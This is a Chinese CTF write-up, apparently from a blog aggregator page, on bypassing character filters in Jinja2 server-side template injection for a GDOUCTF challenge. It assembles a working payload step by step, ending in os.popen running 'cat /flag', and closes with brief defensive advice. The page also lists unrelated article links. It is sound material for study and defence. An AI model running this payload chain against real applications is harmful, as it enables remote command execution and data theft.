当前位置: 首页 > news >正文

从零理解SSTI过滤绕过:用Python字符串操作模拟攻击链(以GDOUCTF赛题为例)

从零构建SSTI攻击链:Python字符串操作的艺术对抗

在网络安全攻防演练中,服务器端模板注入(SSTI)始终是Web安全领域的重点课题。当CTF竞赛中遇到数字、大括号等关键字符被过滤时,攻击链的构建就变成了一场与防御机制斗智斗勇的创意编程挑战。本文将以GDOUCTF赛题为蓝本,展示如何仅用基础字符串操作突破过滤限制。

1. SSTI攻击的本质与突破路径

模板注入漏洞的核心在于攻击者能够控制模板引擎的解析过程。以Flask的Jinja2为例,当开发者直接拼接用户输入到模板时,{{7*7}}这样的 payload 就能验证漏洞存在。但在真实攻防场景中,防御方往往会设置多重过滤:

# 典型过滤规则示例 blacklist = ['{', '}', '[', ']', '_', "'", '"', 'os', 'request', 'eval', 'exec'] + [str(i) for i in range(10)]

面对这种情况,我们需要建立系统的绕过策略:

  1. 字符生成:当数字被禁时,通过count()等方法动态计算所需数值
  2. 符号替代:用lipsum.__globals__代替__globals__这类常规访问方式
  3. 字符串拼接:分解敏感词为多个部分再组合,如dict(o=a,s=b)|join生成"os"
  4. 属性访问:利用|attr()替代点号操作符

实战提示:不同模板引擎的绕过方式差异很大,Jinja2的解法在Twig或Smarty中可能完全无效

2. 基础构件:从零生成关键元素

2.1 数字生成工程

当直接使用数字被禁止时,可以通过字典键名长度统计来生成基础数字:

{% set zero=dict()|join|count %} # 空字典生成0 {% set one=dict(a=1)|join|count %} # 键长1生成1 {% set two=dict(aa=1)|join|count %} # 键长2生成2

这种方法的数学扩展性极强,通过四则运算可以构建任意数字:

{% set twentyfour=(dict(aaaa=1)|join|count)*(dict(aaaaaa=1)|join|count) %} # 4*6=24

2.2 特殊字符获取技术

下划线等关键字符可以通过字符串索引获取。以lipsum函数为例:

  1. 先将其转为字符串列表:
    {% set chars=(lipsum|string|list) %}
  2. 用生成的数字作为索引获取特定字符:
    {% set underscore=chars.24 %} # 假设_在第24位

更可靠的方法是结合pop方法动态获取:

{% set pop=dict(pop=1)|join %} {% set underscore=(lipsum|string|list)|attr(pop)(24) %}

3. 关键对象访问的迂回战术

3.1 构建全局访问通道

常规的__globals__访问被过滤时,可以采用字符串拼接:

{% set globals_parts=(underscore,underscore,'globals',underscore,underscore)|join %}

然后通过属性访问获取全局对象:

{% set globals_obj=lipsum|attr(globals_parts) %}

3.2 敏感模块获取技巧

获取os模块的典型方法演变:

  1. 直接访问被禁:
    {{ os.popen('id').read() }} # 会被拦截
  2. 字符串拼接方案:
    {% set os_str=dict(o=a,s=b)|join %} # 生成"os" {% set os_module=globals_obj.get(os_str) %}
  3. 备用获取路径:
    {% set builtins=(underscore,underscore,'builtins',underscore,underscore)|join %} {% set os_module=(lipsum|attr(globals_parts))|attr('get')(builtins)|attr('get')('__import__')('os') %}

4. 完整攻击链的组装艺术

4.1 命令执行的组件化构建

构造cat /flag命令需要ASCII码转换:

{% set chr_func=(lipsum|attr(globals_parts))|attr('get')(builtins)|attr('get')('chr') %} {% set cmd=chr_func(99)%2bchr_func(97)%2bchr_func(116)%2bchr_func(32)%2bchr_func(47)%2bchr_func(102)%2bchr_func(108)%2bchr_func(97)%2bchr_func(103) %}

4.2 最终payload的优雅组装

将各个组件串联成完整利用链:

{% set popen_str=dict(po=a,pen=b)|join %} {% set read_str=dict(read=a)|join %} {{ (lipsum|attr(globals_parts)) |attr('get')(os_str) |attr(popen_str)(cmd) |attr(read_str)() }}

5. 防御视角的对抗升级

理解攻击手法的同时,开发者需要建立多层防御:

  1. 输入净化
    from jinja2 import escape user_input = escape(request.args.get('name'))
  2. 沙箱环境
    env = SandboxedEnvironment(autoescape=True)
  3. 上下文隔离
    template = env.from_string('Hello {{ name }}') return template.render(name=safe_user_input)

在CTF竞赛中,这类题目往往通过逐步限制字符来训练选手的灵活思维。实际开发中,更应该从设计源头避免模板注入的风险。

http://www.jsqmd.com/news/667796/

相关文章:

  • 告别手动抓信号!用Synopsys AXI VIP的Port Monitor自动构建你的UVM Scoreboard
  • Windows Cleaner:3步解决C盘爆红的终极免费系统清理工具
  • Chapter 14: Link Initialization Training
  • 全志V853 NPU实战:YOLOv5模型从ONNX到端侧部署的完整指南
  • 2026年EB-5移民中介哪家好?行业服务参考 - 品牌排行榜
  • SITS2026发布即颠覆?AGI从窄域突破到通用涌现的4个临界点预测
  • OpenCV图像处理实战:用cv2.filter2D给你的照片加个‘柔光’或‘锐化’滤镜(Python代码)
  • 从串联到全桥:一张图看懂开关电源四大拓扑怎么选(含设计实例)
  • 2026年EB-5移民公司哪家好?行业服务对比解析 - 品牌排行榜
  • 告别鼠标手:用键盘精准控制光标的效率神器Mouseable
  • 从零到一:实战ER图绘制全攻略
  • 3分钟学会:如何将B站缓存视频完美合并为MP4并保留弹幕?
  • 保姆级教程:用OrthoFinder搞定宏基因组MAGs的直系同源分析(附物种树构建与结果解读)
  • Harness Engineering:Agent长对话状态同步优化
  • 3个关键步骤掌握Wireshark网络故障诊断:从数据包捕获到协议深度分析
  • NumPy广播机制深度解析:从ValueError: operands could not be broadcast together with shapes 到实战避坑指南
  • 2026 EB-5移民机构哪家好?行业服务与口碑解析 - 品牌排行榜
  • AUTOSAR OTA升级:从云端到ECU的软件定义汽车更新架构
  • 2026 EB-5移民中介推荐:专业服务机构选择参考 - 品牌排行榜
  • 剖析 Sa-Token (三) 权限认证的注解驱动与拦截器协同
  • AGI立法进程加速,政策制定者如何避免“技术盲区”?——基于奇点大会12国政策白皮书对比分析
  • 逆向思维养成:像侦探一样用OllyDbg分析软件注册逻辑(以GetWindowTextA为例)
  • 因果推断实战:从理论到三大核心方法解析
  • Linux输入子系统:从struct input_event到实战设备事件捕获与解析
  • VAP动画播放器:跨平台特效动画的终极解决方案
  • WebPlotDigitizer:从图表图像提取数据的完整指南与实用技巧
  • 2026 EB-5移民公司推荐:专业机构选择参考 - 品牌排行榜
  • 【AGI时代HR生存法则】:3个月内完成岗位能力图谱AI化升级的9个关键动作
  • 告别手动保存:Photoshop图层批量导出终极指南
  • Python SQLite3实战:用execute和executemany高效插入数据(从单条到批量操作指南)